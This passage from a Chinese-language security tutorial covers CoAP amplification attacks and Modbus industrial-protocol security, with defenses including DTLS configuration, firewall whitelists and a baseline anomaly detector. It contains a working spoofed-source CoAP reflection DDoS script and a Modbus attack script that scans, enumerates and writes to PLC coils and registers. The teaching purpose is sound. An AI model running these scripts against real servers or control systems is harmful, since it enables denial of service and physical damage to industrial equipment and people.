    udp_length = 8 + len(payload)
    udp_header = struct.pack('!HHHH', src_port, dst_port, udp_length, 0)

    # 伪首部(用于校验和计算)
    pseudo_header = socket.inet_aton(src_ip) + socket.inet_aton(dst_ip) + \
                    struct.pack('!BBH', 0, socket.IPPROTO_UDP, udp_length)

    # 计算校验和
    checksum_data = pseudo_header + udp_header + payload
    if len(checksum_data) % 2:
        checksum_data += b'\x00'
    checksum = calculate_checksum(checksum_data)

    udp_header = struct.pack('!HHHH', src_port, dst_port, udp_length, checksum)

    # IP 头部
    ip_header = struct.pack('!BBHHHBBH4s4s',
                            0x45,                    # 版本 4 + 头长 5*4=20
                            0,                       # TOS
                            20 + udp_length,         # 总长度
                            random.randint(0, 65535),# ID
                            0,                       # 标志 + 片偏移
                            64,                      # TTL
                            socket.IPPROTO_UDP,      # 协议
                            0,                       # 校验和(内核会填)
                            socket.inet_aton(src_ip),
                            socket.inet_aton(dst_ip))

    sock.sendto(ip_header + udp_header + payload, (dst_ip, 0))


def calculate_checksum(data):
    """计算 16 位校验和"""
    if len(data) % 2:
        data += b'\x00'
    total = 0
    for i in range(0, len(data), 2):
        total += (data[i] << 8) + data[i+1]
    while total >> 16:
        total = (total & 0xFFFF) + (total >> 16)
    return ~total & 0xFFFF


if __name__ == '__main__':
    print("=" * 70)
    print("CoAP 放大反射攻击演示 —— 仅用于授权测试")
    print("=" * 70)
    print("\n⚠️  警告:此脚本仅用于你拥有明确授权的环境")
    print("    未经授权使用可能违反《网络安全法》第 27 条\n")

    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <受害者IP> <CoAP服务器列表文件>")
        sys.exit(1)

    victim = sys.argv[1]
    with open(sys.argv[2]) as f:
        servers = [line.strip() for line in f if line.strip()]

    spoof_attack(victim, servers)

5.6.3 CoAP 放大反射的防御

三层防御:

# ========== ① 网络层:入口过滤(BCP 38)—— 最根本的解决 ==========
#
# 原理:ISP 在边界路由器上丢弃"源 IP 不属于本网段"的出站包
#       这样攻击者根本伪造不了 IP
#
# 这是 2000 年就有的标准(RFC 2827 / BCP 38),
# 但全球仍有大量 ISP 没有部署(约 30%)
#
# Cisco 配置示例:
interface GigabitEthernet0/0
 ip verify unicast source reachable-via rx
!
# Linux:
iptables -A FORWARD -i eth1 -s ! 203.0.113.0/24 -j DROP
# (eth1 是接客户的接口,只允许客户网段的源 IP 出去)

# ========== ② 服务器层:CoAP 服务器自身加固 ==========

# (a) 禁用 /.well-known/core 的匿名访问
#     CoAP 规范规定这个 URI 要返回资源列表,
#     但生产环境应该限制或缩小内容
#     
#     californium (Java CoAP 框架) 配置:
#     coap.wellknown.core.max-size=200     ← 限制列表大小
#     或者直接移除该资源

# (b) 限制响应大小
#     无论请求什么,响应都不超过某个上限

# (c) 速率限制(按源 IP)
#     虽然源 IP 可伪造,但能限制从单一源来的请求速率

# (d) 要求 DTLS(coaps://)
#     DTLS 需要握手,握手要能收到响应 → 无法伪造源 IP
#     ★ 这是服务器端最有效的防御

# (e) 只响应 CON,不响应 NON
#     NON 消息不需要确认,攻击者最爱用
#     但这会影响正常业务

# ========== ③ 受害者层:DDoS 防护 ==========
#   - 上游 ISP 清洗
#   - 云防护(Cloudflare / 阿里云高防)
#   - Anycast 分散流量

Californium(Java CoAP)安全配置:

/**
 * CoAP 服务器安全配置(基于 Eclipse Californium)
 *
 * 关键配置:
 *   ① 限制 /.well-known/core 的大小(防放大)
 *   ② 启用 DTLS
 *   ③ 速率限制
 *   ④ 响应大小限制
 */
@Configuration
@Slf4j
public class CoapServerConfig {

    @Bean(initMethod = "start", destroyMethod = "destroy")
    public CoapServer coapServer() {
        CoapConfig config = CoapConfig.create();

        // ========== ① 防放大反射(最关键)==========
        // 限制 /.well-known/core 返回的最大大小
        config.setInt(NetworkConfig.Keys.WELL_KNOWN_CORE_MAX_SIZE, 200);
        // 默认是无限制的,攻击者请求一次能拿到几 KB 的资源列表

        // 限制单个响应的最大大小
        config.setInt(NetworkConfig.Keys.MAX_RESOURCE_BODY_SIZE, 1024);
        // 1KB 上限,防止大资源被用作放大器

        // ========== ② 消息大小限制 ==========
        config.setInt(NetworkConfig.Keys.MAX_MESSAGE_SIZE, 1024);
        config.setInt(NetworkConfig.Keys.PREFERRED_BLOCK_SIZE, 256);

        // ========== ③ 速率限制 ==========
        // 每个源 IP 每秒最多 10 个请求
        config.setInt(NetworkConfig.Keys.MAX_ACTIVE_PEERS, 1000);
        // 超过这个数量的活跃 peer 会被清理

        // ========== ④ 去重(防重放)==========
        config.setBoolean(NetworkConfig.Keys.DEDUPLICATOR_AUTO_REPLACE, true);
        config.setInt(NetworkConfig.Keys.DEDUPLICATOR_MARK_AND_SWEEP_MILLIS, 10000);

        // ========== ⑤ 传输层限制 ==========
        // 重传超时和次数(防止 CON 消息被无限重传放大)
        config.setLong(NetworkConfig.Keys.ACK_TIMEOUT, 2000);
        config.setFloat(NetworkConfig.Keys.ACK_RANDOM_FACTOR, 1.5f);
        config.setInt(NetworkConfig.Keys.MAX_RETRANSMIT, 4);
        config.setLong(NetworkConfig.Keys.EXCHANGE_LIFETIME, 247000);

        // ========== ⑥ 启用 DTLS ==========
        CoapServer server = new CoapServer(config);

        // 明文端点(仅限内网/测试)
        // server.addEndpoint(new CoapEndpoint(new CoapEndpoint.Builder()
        //         .setInetSocketAddress(new InetSocketAddress(5683))));

        // DTLS 端点(生产环境)
        DtlsConnectorConfig.Builder dtlsConfig = new DtlsConnectorConfig.Builder();
        dtlsConfig.setAddress(new InetSocketAddress(5684));

        // 只支持 DTLS 1.2+
        dtlsConfig.setSupportedCipherSuites(
            CipherSuite.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
            CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
            CipherSuite.TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8,
            CipherSuite.TLS_ECDHE_ECDSA_WITH_AES_128_CCM
        );

        // ★ 要求客户端证书(mTLS,IoT 场景推荐)
        dtlsConfig.setClientAuthenticationRequired(true);
        dtlsConfig.setAdvancedCertificateVerifier(new DeviceCertificateVerifier());

        server.addEndpoint(new CoapEndpoint(dtlsConfig.build()));

        // ========== ⑦ 添加速率限制拦截器 ==========
        server.addInterceptor(new RateLimitInterceptor());

        log.info("[CoAP] 服务器启动. DTLS 端口 5684, 要求客户端证书");

        return server;
    }

    /**
     * 速率限制拦截器
     */
    static class RateLimitInterceptor implements MessageInterceptor {

        private final Cache<String, AtomicInteger> counters =
            Caffeine.newBuilder()
                    .expireAfterWrite(Duration.ofSeconds(1))
                    .build();

        private static final int MAX_REQUESTS_PER_SECOND = 10;

        @Override
        public void receiveRequest(Exchange exchange, Request request) {
            String peerIp = request.getSourceContext().getPeerAddress().getAddress()
                                   .getHostAddress();

            AtomicInteger counter = counters.get(peerIp, k -> new AtomicInteger(0));
            int count = counter.incrementAndGet();

            if (count > MAX_REQUESTS_PER_SECOND) {
                log.warn("[CoAP] 速率超限,丢弃请求. peer={}, count={}", peerIp, count);

                // 直接拒绝(不响应 RST,避免额外流量)
                // 或者响应 4.29 Too Many Requests
                request.setRejected(true);
            }
        }

        @Override public void sendRequest(Exchange exchange, Request request) {}
        @Override public void receiveResponse(Exchange exchange, Response response) {}
        @Override public void sendResponse(Exchange exchange, Response response) {}
        @Override public void sendEmptyMessage(Exchange exchange, EmptyMessage message) {}
        @Override public void receiveEmptyMessage(Exchange exchange, EmptyMessage message) {}
    }
}

5.6.4 CoAP 的其他安全问题

问题 说明 后果 防御
无认证 CoAP 本身没有认证机制 任何人能读写资源 DTLS + PSK/证书
Observe 订阅泄露 订阅资源变化,数据持续推送 长期数据泄露 订阅需要鉴权
IP 欺骗 UDP 无连接,源 IP 可伪造 绕过 IP 白名单 DTLS 握手验证
DTLS 握手 DoS DTLS 握手是 CPU 密集操作 资源耗尽 Cookie 机制(DTLS 自带)+ 速率限制
重放 UDP 包可被Capture重放 重复执行操作 DTLS 序列号 + 应用层 nonce
组播放大 CoAP 支持组播,一个请求多个响应 内网放大攻击 限制组播范围
资源发现泄露 /.well-known/core 列出所有资源 暴露攻击面 限制内容 / 要求认证

5.7 工控协议安全(Modbus / S7comm)

这一节要讲清楚一件事:工控协议的漏洞不是丢数据,是物理世界出事。 2010 年 Stuxnet(震网)通过篡改 PLC 的离心机转速,物理摧毁了伊朗的核设施。 2015 年乌克兰电网被攻击,22 万人停电 6 小时。 2021 年 Colonial Pipeline 输油管道被勒索,美国东海岸燃油断供。

5.7.1 Modbus 是什么(1979 年的设计)

白话:Modbus 是工业设备(PLC、传感器、电机、阀门)之间通信的协议, 1979 年由 Modicon 公司设计,设计的时候完全没有考虑安全。

有多不安全:

Modbus TCP 报文:
┌──────────────────────────────────────────┐
│ 事务标识符 (2 字节)                       │
│ 协议标识符 (2 字节) = 0x0000              │
│ 长度字段   (2 字节)                       │
│ 单元标识符 (1 字节) = 从站地址            │
├──────────────────────────────────────────┤
│ 功能码     (1 字节) ← ★ 我要干什么        │
│ 数据       (N 字节) ← 地址 + 值           │
└──────────────────────────────────────────┘

★ 看到了吗?没有:
   - 没有认证(不需要用户名密码)
   - 没有加密(明文传输)
   - 没有完整性校验(改了不知道)
   - 没有防重放(录下来重发就行)
   - 没有序列号(不知道是不是重复的包)

任何能连到 502 端口的人,都能直接读写设备。

对比一下有多离谱:

维度 HTTP Modbus
认证 Basic/Bearer/JWT/Cookie 无
加密 TLS 无
完整性 TLS MAC 无
防重放 TLS 序列号 + nonce 无
授权 RBAC / ACL 无(能连就能写)

生活类比: HTTP 接口 = 银行柜台,要身份证、要签字、有监控、有保安 Modbus = 一个敞开的配电箱,上面贴着标签“1 号开关”、“2 号开关”, 任何人走过去都能拨动。

5.7.2 Modbus 功能码(攻击者的操作清单)

常用功能码:

功能码 名称 作用 危险等级 影响的物理世界
0x01 Read Coils 读线圈(开关量输出)状态 🟡 信息泄露 知道哪些阀门开着
0x02 Read Discrete Inputs 读离散输入 🟡 信息泄露 知道传感器状态
0x03 Read Holding Registers 读保持寄存器 🟡 信息泄露 读到设定值、参数
0x04 Read Input Registers 读输入寄存器 🟡 信息泄露 读到实测值
0x05 Write Single Coil 写单个线圈 🔴 致命 开/关一个继电器 → 电机启停、阀门开关
0x06 Write Single Register 写单个寄存器 🔴 致命 改一个设定值 → 温度、压力、转速
0x0F Write Multiple Coils 写多个线圈 🔴 致命 批量开关 → 整条产线停机
0x10 Write Multiple Registers 写多个寄存器 🔴 致命 批量改参数 → 工艺全乱
0x2B Read Device Identification 读设备标识 🟡 指纹识别 知道厂商、型号、版本
0x11 Report Slave ID 读从站 ID 🟡 指纹识别
0x08 Diagnostics 诊断 🟠 中危 某些实现能重启设备

四种数据类型(理解这个才能看懂攻击):

工控里的数据分四类,用"线圈"和"寄存器"两组词区分:

┌──────────────┬──────────────┬──────────────┐
│              │  可读可写     │   只读        │
├──────────────┼──────────────┼──────────────┤
│ 位(1 bit)   │ Coil 线圈     │ Discrete Input│
│  开关量       │ 0x01 读       │ 离散输入      │
│              │ 0x05 写单个   │ 0x02 读       │
│              │ 0x0F 写多个   │              │
│              │ 例:电机启停   │ 例:限位开关   │
├──────────────┼──────────────┼──────────────┤
│ 字(16 bit)  │ Holding       │ Input         │
│  数值量       │ Register      │ Register      │
│              │ 保持寄存器     │ 输入寄存器     │
│              │ 0x03 读       │ 0x04 读       │
│              │ 0x06 写单个   │              │
│              │ 0x10 写多个   │              │
│              │ 例:目标温度   │ 例:实测温度   │
└──────────────┴──────────────┴──────────────┘

记住:
  Coil = 开关(1 位,开/关)
  Register = 数值(16 位,0~65535)
  Holding = 可写的(设定值)
  Input = 只读的(测量值)

5.7.3 ★ Modbus 攻击实战(从扫描到物理影响)

#!/usr/bin/env python3
"""
Modbus TCP 攻击演示 —— 仅用于授权靶场

警告:
  ⚠️ 未经授权对工业控制系统进行测试在绝大多数国家是【违法】的
  ⚠️ 真实工控系统的误操作可能导致:
      - 设备损坏(几百万到几亿)
      - 生产事故(人员伤亡)
      - 环境事故(泄漏、爆炸)
  ⚠️ 本脚本仅用于:
      - 自建的工控靶场(如 Conpot、MiniCPS)
      - 客户明确书面授权的渗透测试
      - 教学演示

推荐靶场:
  - Conpot (https://github.com/mushorg/conpot)  —— 工控蜜罐/靶场
  - MiniCPS (https://github.com/scy-phy/minicps) —— 工控仿真
"""

import socket
import struct
import sys
import time
from typing import Optional, List, Tuple

# ============ Modbus 功能码 ============
READ_COILS = 0x01
READ_DISCRETE_INPUTS = 0x02
READ_HOLDING_REGISTERS = 0x03
READ_INPUT_REGISTERS = 0x04
WRITE_SINGLE_COIL = 0x05
WRITE_SINGLE_REGISTER = 0x06
WRITE_MULTIPLE_COILS = 0x0F
WRITE_MULTIPLE_REGISTERS = 0x10
REPORT_SLAVE_ID = 0x11
READ_DEVICE_ID = 0x2B

# 异常响应:功能码 + 0x80
# 常见异常码:
#   0x01 = 非法功能(设备不支持这个功能码)
#   0x02 = 非法数据地址(地址不存在)
#   0x03 = 非法数据值(值超出范围)


class ModbusClient:
    """极简 Modbus TCP 客户端"""

    def __init__(self, host: str, port: int = 502, unit_id: int = 1, timeout: float = 3.0):
        self.host = host
        self.port = port
        self.unit_id = unit_id
        self.timeout = timeout
        self.transaction_id = 0
        self.sock: Optional[socket.socket] = None

    def connect(self):
        try:
            self.sock = socket.create_connection((self.host, self.port), self.timeout)
            print(f"[+] 已连接到 {self.host}:{self.port}")
            return True
        except Exception as e:
            print(f"[-] 连接失败: {e}")
            return False

    def close(self):
        if self.sock:
            self.sock.close()

    def _build_mbap(self, pdu: bytes) -> bytes:
        """构造 MBAP 头(Modbus Application Protocol)"""
        self.transaction_id = (self.transaction_id + 1) % 65536
        length = len(pdu) + 1   # PDU 长度 + 单元标识符
        return struct.pack('>HHHB',
                           self.transaction_id,  # 事务标识
                           0x0000,               # 协议标识(Modbus = 0)
                           length,               # 长度
                           self.unit_id)         # 单元标识(从站地址)

    def _send_recv(self, pdu: bytes) -> Optional[bytes]:
        """发送并接收"""
        if not self.sock:
            return None

        request = self._build_mbap(pdu) + pdu

        try:
            self.sock.sendall(request)
            response = self.sock.recv(1024)

            if len(response) < 8:
                return None

            # 解析响应
            tid, proto, length, unit = struct.unpack('>HHHB', response[:7])
            resp_pdu = response[7:]

            # 检查是否异常响应
            if resp_pdu[0] & 0x80:
                func = resp_pdu[0] & 0x7F
                exc_code = resp_pdu[1] if len(resp_pdu) > 1 else 0
                print(f"    [异常] 功能码 0x{func:02X}, 异常码 0x{exc_code:02X}")
                return None

            return resp_pdu

        except socket.timeout:
            print("    [超时]")
            return None
        except Exception as e:
            print(f"    [错误] {e}")
            return None

    # ============ 读操作 ============

    def read_holding_registers(self, address: int, count: int = 1) -> Optional[List[int]]:
        """功能码 0x03:读保持寄存器"""
        pdu = struct.pack('>BHH', READ_HOLDING_REGISTERS, address, count)
        resp = self._send_recv(pdu)

        if not resp or len(resp) < 2:
            return None

        byte_count = resp[1]
        values = []
        for i in range(0, byte_count, 2):
            values.append(struct.unpack('>H', resp[2+i:4+i])[0])

        return values

    def read_coils(self, address: int, count: int = 1) -> Optional[List[bool]]:
        """功能码 0x01:读线圈"""
        pdu = struct.pack('>BHH', READ_COILS, address, count)
        resp = self._send_recv(pdu)

        if not resp or len(resp) < 2:
            return None

        byte_count = resp[1]
        bits = []
        for byte in resp[2:2+byte_count]:
            for i in range(8):
                bits.append(bool(byte & (1 << i)))

        return bits[:count]

    def read_device_id(self) -> Optional[dict]:
        """功能码 0x2B:读设备标识(指纹识别)"""
        pdu = struct.pack('>BBBB', READ_DEVICE_ID, 0x0E, 0x01, 0x00)
        resp = self._send_recv(pdu)

        if not resp:
            return None

        # 解析设备标识(简化)
        info = {}
        try:
            i = 6   # 跳过前面的字段
            while i < len(resp) - 1:
                obj_id = resp[i]
                obj_len = resp[i+1]
                value = resp[i+2:i+2+obj_len].decode('utf-8', errors='ignore')

                names = {0x00: '厂商', 0x01: '产品代码', 0x02: '版本号',
                         0x03: '厂商网址', 0x04: '产品名', 0x05: '型号'}
                info[names.get(obj_id, f'0x{obj_id:02X}')] = value

                i += 2 + obj_len
        except Exception:
            pass

        return info

    # ============ ⚠️ 写操作(危险)============

    def write_single_coil(self, address: int, value: bool) -> bool:
        """
        功能码 0x05:写单个线圈

        ⚠️ 危险:这会物理改变设备状态!
        value: True = 0xFF00 (闭合/开), False = 0x0000 (断开/关)

        物理影响示例:
          address=0 可能是 "电机启动继电器"
          写 True  → 电机启动
          写 False → 电机停止
        """
        val = 0xFF00 if value else 0x0000
        pdu = struct.pack('>BHH', WRITE_SINGLE_COIL, address, val)
        resp = self._send_recv(pdu)
        return resp is not None

    def write_single_register(self, address: int, value: int) -> bool:
        """
        功能码 0x06:写单个寄存器

        ⚠️ 危险:这会改变工艺参数!
        物理影响示例:
          address=100 可能是 "目标温度设定值"
          正常值 180(℃),写成 500 → 加热器全功率 → 可能起火
        """
        pdu = struct.pack('>BHH', WRITE_SINGLE_REGISTER, address, value)
        resp = self._send_recv(pdu)
        return resp is not None

    def write_multiple_registers(self, address: int, values: List[int]) -> bool:
        """功能码 0x10:写多个寄存器"""
        count = len(values)
        byte_count = count * 2
        pdu = struct.pack('>BHHB', WRITE_MULTIPLE_REGISTERS, address, count, byte_count)
        for v in values:
            pdu += struct.pack('>H', v)
        resp = self._send_recv(pdu)
        return resp is not None


# ============ 攻击流程 ============

def scan_modbus_device(host: str, port: int = 502):
    """步骤 1:扫描并指纹识别"""
    print("=" * 70)
    print(f"步骤 1:探测 {host}:{port}")
    print("=" * 70)

    for unit_id in range(1, 248):   # Modbus 从站地址范围 1-247
        client = ModbusClient(host, port, unit_id, timeout=1.0)
        if not client.connect():
            return

        # 尝试读取设备标识
        info = client.read_device_id()
        if info and (info.get('厂商') or info.get('产品名')):
            print(f"\n[✓] 发现设备!从站地址 = {unit_id}")
            for k, v in info.items():
                print(f"    {k}: {v}")
            client.close()
            return unit_id

        client.close()

    print("[-] 未发现响应设备")
    return None


def enumerate_registers(host: str, port: int, unit_id: int):
    """步骤 2:枚举寄存器(信息收集)"""
    print("\n" + "=" * 70)
    print(f"步骤 2:枚举保持寄存器(从站 {unit_id})")
    print("=" * 70)

    client = ModbusClient(host, port, unit_id)
    if not client.connect():
        return

    print("\n保持寄存器(可读可写的设定值):")
    print(f"{'地址':>8}  {'十进制':>8}  {'十六进制':>8}  {'可能的含义'}")
    print("-" * 60)

    for addr in range(0, 50):
        values = client.read_holding_registers(addr, 1)
        if values:
            val = values[0]
            guess = guess_meaning(addr, val)
            print(f"0x{addr:04X}   {val:8d}   0x{val:04X}     {guess}")

    print("\n输入寄存器(只读的测量值):")
    for addr in range(0, 20):
        pdu = struct.pack('>BHH', READ_INPUT_REGISTERS, addr, 1)
        resp = client._send_recv(pdu)
        if resp and len(resp) >= 4:
            val = struct.unpack('>H', resp[2:4])[0]
            print(f"0x{addr:04X}   {val:8d}   0x{val:04X}")

    print("\n线圈状态(开关量):")
    coils = client.read_coils(0, 16)
    if coils:
        for i, state in enumerate(coils):
            print(f"  线圈 {i:2d}: {'● 闭合(ON)' if state else '○ 断开(OFF)'}")

    client.close()


def guess_meaning(addr: int, val: int) -> str:
    """猜测寄存器含义(教学演示)"""
    if val == 0:
        return "(值为0,可能是未使用)"
    if 0 < val < 500:
        return "可能是温度/压力设定值"
    if 1000 < val < 10000:
        return "可能是转速/流量设定值"
    if val == 0xFFFF or val == 0x8000:
        return "可能是告警/故障标志"
    return ""


def demonstrate_attack(host: str, port: int, unit_id: int):
    """
    步骤 3:演示写操作的影响(★ 危险,靶场专用)

    ⚠️ 这个函数会真的写设备!
    ⚠️ 只在自建靶场运行!
    """
    print("\n" + "=" * 70)
    print("步骤 3:演示写操作的物理影响")
    print("=" * 70)
    print("\n⚠️⚠️⚠️  警告:以下操作会真实改变设备状态  ⚠️⚠️⚠️")

    confirm = input("\n确认你在【自建靶场】中,输入 'YES' 继续: ")
    if confirm != 'YES':
        print("已取消")
        return

    client = ModbusClient(host, port, unit_id)
    if not client.connect():
        return

    # ---- 演示 A:切换线圈 ----
    print("\n[A] 切换线圈 0 的状态(相当于按开关)")

    before = client.read_coils(0, 1)
    print(f"    切换前: {'ON' if before and before[0] else 'OFF'}")

    client.write_single_coil(0, not (before and before[0]))
    time.sleep(0.5)

    after = client.read_coils(0, 1)
    print(f"    切换后: {'ON' if after and after[0] else 'OFF'}")

    # 恢复原状
    client.write_single_coil(0, before[0] if before else False)
    print("    已恢复原状")

    # ---- 演示 B:篡改设定值 ----
    print("\n[B] 篡改保持寄存器 0 的值(相当于改工艺参数)")

    original = client.read_holding_registers(0, 1)
    if original:
        print(f"    原始值: {original[0]}")
        print(f"    ⚠️  如果这个寄存器是'目标温度',改成极端值会导致事故")

        # 只演示,不真的写危险值
        print("    (演示模式:不实际写入危险值)")

    client.close()


def main():
    print("=" * 70)
    print("Modbus TCP 安全评估工具 —— 教学/授权测试专用")
    print("=" * 70)
    print("\n⚠️  法律提醒:")
    print("    《中华人民共和国网络安全法》第 27 条:")
    print("    任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、")
    print("    窃取网络数据等危害网络安全的活动。")
    print("\n    未经授权对工业系统测试可能构成:")
    print("      - 破坏计算机信息系统罪(刑法第 286 条)")
    print("      - 危害公共安全(如果造成人员伤亡)")
    print("\n    本工具仅用于自建靶场或有书面授权的项目。\n")

    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <目标IP> [端口]")
        print(f"示例: {sys.argv[0]} 192.168.1.100")
        print(f"推荐靶场: docker run -p 502:502 -it conpot/conpot")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 502

    unit_id = scan_modbus_device(host, port)
    if unit_id:
        enumerate_registers(host, port, unit_id)

        resp = input("\n是否继续演示写操作?(yes/no): ")
        if resp.lower() == 'yes':
            demonstrate_attack(host, port, unit_id)


if __name__ == '__main__':
    main()

5.7.4 Modbus 的防御(工控安全的特殊性)

★ 关键认知:工控安全的优先级是反过来的

传统 IT 安全的优先级(CIA):
  ① Confidentiality 机密性(最重要)
  ② Integrity 完整性
  ③ Availability 可用性

工控 OT 安全的优先级(AIC——倒过来):
  ① Availability 可用性(最重要!产线不能停)
  ② Integrity 完整性(参数不能被篡改,否则出事故)
  ③ Confidentiality 机密性(反而最不重要)

为什么?
  - 产线停机 1 分钟 = 几十万损失
  - 参数被篡改 = 产品报废 / 设备损坏 / 人员伤亡
  - 生产数据泄露 = 相对没那么严重

★ 这个优先级差异导致:
  很多 IT 安全措施在 OT 环境【不能直接上】:
  - 不能随便装杀毒软件(可能占资源导致 PLC 扫描周期超时)
  - 不能随便打补丁(补丁可能让设备不稳定,工控系统常年不更新)
  - 不能随便重启(重启 = 停机)
  - 不能用主动扫描(Nmap 全端口扫描可能把老设备扫死机)

防御体系(纵深 + 分层):

┌─────────────────────────────────────────────────────────┐
│  第 0 层:物理隔离(最有效)                              │
│    ★ 工控网与互联网物理断开(air gap 气隙)              │
│    ★ 这是唯一能防住 Stuxnet 类攻击的手段                 │
│       (震网就是通过 U 盘摆渡进的物理隔离网络)          │
│    代价:无法远程运维,效率低                            │
├─────────────────────────────────────────────────────────┤
│  第 1 层:网络分段(Purple / Orange 区)                  │
│    IT 网 ──[工业防火墙]── DMZ ──[工业防火墙]── OT 网      │
│    ★ 工业防火墙不是普通防火墙,它能【理解 Modbus 协议】   │
│      能做"功能码白名单"(只允许 0x03 读,禁止 0x05 写)  │
├─────────────────────────────────────────────────────────┤
│  第 2 层:协议白名单(工业防火墙 / IPS)                  │
│    ★ 只允许特定的:源 IP + 目标 IP + 功能码 + 寄存器地址  │
│    例:只允许工程师站 (10.0.1.10) 对 PLC (10.0.2.20)     │
│        执行功能码 0x03(读),地址范围 0-100             │
│        其他全部拒绝并告警                                │
├─────────────────────────────────────────────────────────┤
│  第 3 层:单向网闸(数据二极管)                          │
│    生产网 → 管理网:只允许单向传输(硬件保证)            │
│    ★ 物理上不可能反向,彻底杜绝从管理网攻击生产网         │
├─────────────────────────────────────────────────────────┤
│  第 4 层:协议安全增强                                   │
│    - Modbus/TCP Security(Modbus 官方的安全扩展,用 TLS)│
│    - 或者放进 VPN / IPsec 隧道里                         │
│    代价:老设备不支持,要加网关                          │
├─────────────────────────────────────────────────────────┤
│  第 5 层:监测与审计(最后一道)                          │
│    - 工控 IDS(如 Nozomi、Claroty、Dragos)              │
│    - 基线学习:正常工况下哪些功能码会出现                │
│    - 异常告警:出现了从未出现过的功能码 = 攻击            │
│    ★ 因为无法阻止,所以必须能"看见"                      │
└─────────────────────────────────────────────────────────┘

工业防火墙规则示例(概念):

# 工业防火墙 / 工控 IPS 规则(以 Tofino / Nozomi 为例)

规则组 1:正常生产通信(允许)
  - 源: 工程师站 (10.0.1.10)
    目标: PLC-01 (10.0.2.20)
    协议: Modbus/TCP
    功能码: [0x01, 0x02, 0x03, 0x04]      # 只允许读
    寄存器地址范围: 0-999
    速率限制: 100 请求/秒
    动作: ALLOW + LOG

规则组 2:授权写入(允许,但严格限制)
  - 源: 工程师站 (10.0.1.10)
    目标: PLC-01 (10.0.2.20)
    协议: Modbus/TCP
    功能码: [0x06, 0x10]                   # 写寄存器
    寄存器地址范围: 100-199                # 只允许写参数区
    值范围: 0-500                          # ★ 限制值的范围!
                                          #   防止写入 9999 这种危险值
    时间段: 工作时间 08:00-20:00           # ★ 时间限制
    动作: ALLOW + LOG + ALERT              # 写操作必须告警

规则组 3:高危功能码(拒绝)
  - 功能码: [0x08]                         # 诊断(某些实现能重启设备)
    动作: DENY + ALERT

规则组 4:默认拒绝
  - 源: ANY
    目标: ANY
    协议: Modbus/TCP
    动作: DENY + LOG + ALERT
    ★ 任何未在白名单里的 Modbus 通信都被拒绝并告警

告警规则:
  - 出现白名单外的功能码 → 高危告警
  - 出现从未见过的源 IP → 高危告警
  - 写操作频率异常(1 分钟内 > 10 次)→ 中危告警
  - 写入值超出历史范围 → 高危告警
  - 非工作时间出现写操作 → 高危告警

工控 IDS 的核心思路(基线学习):

#!/usr/bin/env python3
"""
工控异常检测(概念演示)

核心思路:
  工控网络的流量是【高度规律】的——
  同样的设备,每秒读同样的寄存器,数值在固定范围内波动。
  这和 IT 网络完全不同(IT 网络流量是随机的)。

  所以可以建立"行为基线",任何偏离基线的都是异常。

  ★ 这是工控安全最有效的检测手段,
    因为工控协议的"正常"极其可预测。
"""
from dataclasses import dataclass, field
from typing import Dict, Set, List, Tuple
from collections import defaultdict
from datetime import datetime
import statistics


@dataclass
class RegisterBaseline:
    """单个寄存器的行为基线"""
    address: int
    min_value: int = 0xFFFF
    max_value: int = 0
    mean: float = 0.0
    std_dev: float = 0.0
    sample_count: int = 0
    samples: List[int] = field(default_factory=list)

    def update(self, value: int):
        """更新基线"""
        self.samples.append(value)
        if len(self.samples) > 1000:
            self.samples.pop(0)

        self.sample_count += 1
        self.min_value = min(self.min_value, value)
        self.max_value = max(self.max_value, value)
        self.mean = statistics.mean(self.samples)
        if len(self.samples) > 1:
            self.std_dev = statistics.stdev(self.samples)

    def is_anomalous(self, value: int, sigma_threshold: float = 4.0) -> Tuple[bool, str]:
        """
        判断值是否异常

        三种异常:
          ① 超出历史范围(最严重)
          ② 偏离均值 N 个标准差
          ③ 变化过快(正常工艺参数不会突变)
        """
        # ① 超出历史绝对范围
        if value > self.max_value * 1.5 or value < self.min_value * 0.5:
            return True, f"超出历史范围 [历史: {self.min_value}~{self.max_value}, 当前: {value}]"

        # ② 偏离均值
        if self.std_dev > 0:
            z_score = abs(value - self.mean) / self.std_dev
            if z_score > sigma_threshold:
                return True, f"统计异常 (偏离均值 {z_score:.1f}σ, 均值={self.mean:.1f})"

        # ③ 变化率异常
        if len(self.samples) >= 2:
            last = self.samples[-1]
            if last != 0:
                change_rate = abs(value - last) / abs(last)
                if change_rate > 0.5:   # 50% 突变
                    return True, f"突变异常 (上次={last}, 当前={value}, 变化 {change_rate*100:.0f}%)"

        return False, ""


class ICSAnomalyDetector:
    """工控异常检测器"""

    def __init__(self):
        # (源IP, 目标IP, 单元ID, 寄存器地址) -> RegisterBaseline
        self.register_baselines: Dict[Tuple, RegisterBaseline] = {}

        # (源IP, 目标IP) -> 出现过的功能码集合
        self.function_codes: Dict[Tuple, Set[int]] = defaultdict(set)

        # 学习模式标志
        self.learning_mode = True
        self.learning_packets = 0
        self.LEARNING_THRESHOLD = 10000   # 学习 1 万个包后转入检测模式

    def process_packet(self, src_ip: str, dst_ip: str, unit_id: int,
                       func_code: int, address: int, value: int = None):
        """处理一个 Modbus 包"""
        peer_key = (src_ip, dst_ip)
        reg_key = (src_ip, dst_ip, unit_id, address)

        alerts = []

        # ===== ① 功能码白名单检查 =====
        if not self.learning_mode:
            known_codes = self.function_codes.get(peer_key, set())
            if func_code not in known_codes:
                alerts.append({
                    'level': 'CRITICAL',
                    'type': 'UNKNOWN_FUNCTION_CODE',
                    'message': f'出现基线外的功能码 0x{func_code:02X}',
                    'detail': f'基线中该链路只见过: {[hex(c) for c in known_codes]}'
                })
        else:
            self.function_codes[peer_key].add(func_code)

        # ===== ② 写操作检测(写操作永远敏感)=====
        WRITE_CODES = {0x05, 0x06, 0x0F, 0x10}
        if func_code in WRITE_CODES:
            alerts.append({
                'level': 'WARNING',
                'type': 'WRITE_OPERATION',
                'message': f'检测到写操作 0x{func_code:02X} @ 地址 {address}',
                'detail': f'值: {value}'
            })

            # 如果是写入数值,检查值是否异常
            if value is not None and reg_key in self.register_baselines:
                baseline = self.register_baselines[reg_key]
                is_anom, reason = baseline.is_anomalous(value)
                if is_anom:
                    alerts.append({
                        'level': 'CRITICAL',
